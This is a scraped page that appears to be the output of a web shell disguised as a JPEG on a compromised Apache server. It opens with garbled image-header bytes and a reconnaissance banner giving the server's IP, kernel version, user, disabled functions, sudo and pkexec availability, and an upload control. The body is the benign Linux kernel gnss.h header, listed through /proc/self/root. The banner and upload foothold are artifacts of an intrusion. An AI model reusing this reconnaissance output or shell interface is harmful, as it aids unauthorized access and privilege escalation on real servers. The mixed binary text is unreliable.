����JFIF��H�H����Exif��MM�*���� ��3����V�����3������3�(��������������������3�����
Server IP : 74.208.127.88 / Your IP : 216.73.216.205 Web Server : Apache/2.4.41 (Ubuntu) System : Linux ubuntu 5.4.0-163-generic #180-Ubuntu SMP Tue Sep 5 13:21:23 UTC 2023 x86_64 User : www-data ( 33) PHP Version : 7.4.3-4ubuntu2.29 Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare, MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : OFF | Sudo : ON | Pkexec : ON Directory : /proc/self/root/lib/modules/5.4.0-163-generic/build/include/linux/ |
Upload File : |
/* SPDX-License-Identifier: GPL-2.0 */ /* * GNSS receiver support * * Copyright (C) 2018 Johan Hovold <johan@kernel.org> */ #ifndef _LINUX_GNSS_H #define _LINUX_GNSS_H #include <linux/cdev.h> #include <linux/device.h> #include <linux/kfifo.h> #include <linux/mutex.h> #include <linux/rwsem.h> #include <linux/types.h> #include <linux/wait.h> struct gnss_device; enum gnss_type { GNSS_TYPE_NMEA = 0, GNSS_TYPE_SIRF, GNSS_TYPE_UBX, GNSS_TYPE_MTK, GNSS_TYPE_COUNT }; struct gnss_operations { int (*open)(struct gnss_device *gdev); void (*close)(struct gnss_device *gdev); int (*write_raw)(struct gnss_device *gdev, const unsigned char *buf, size_t count); }; struct gnss_device { struct device dev; struct cdev cdev; int id; enum gnss_type type; unsigned long flags; struct rw_semaphore rwsem; const struct gnss_operations *ops; unsigned int count; unsigned int disconnected:1; struct mutex read_mutex; struct kfifo read_fifo; wait_queue_head_t read_queue; struct mutex write_mutex; char *write_buf; }; struct gnss_device *gnss_allocate_device(struct device *parent); void gnss_put_device(struct gnss_device *gdev); int gnss_register_device(struct gnss_device *gdev); void gnss_deregister_device(struct gnss_device *gdev); int gnss_insert_raw(struct gnss_device *gdev, const unsigned char *buf, size_t count); static inline void gnss_set_drvdata(struct gnss_device *gdev, void *data) { dev_set_drvdata(&gdev->dev, data); } static inline void *gnss_get_drvdata(struct gnss_device *gdev) { return dev_get_drvdata(&gdev->dev); } #endif /* _LINUX_GNSS_H */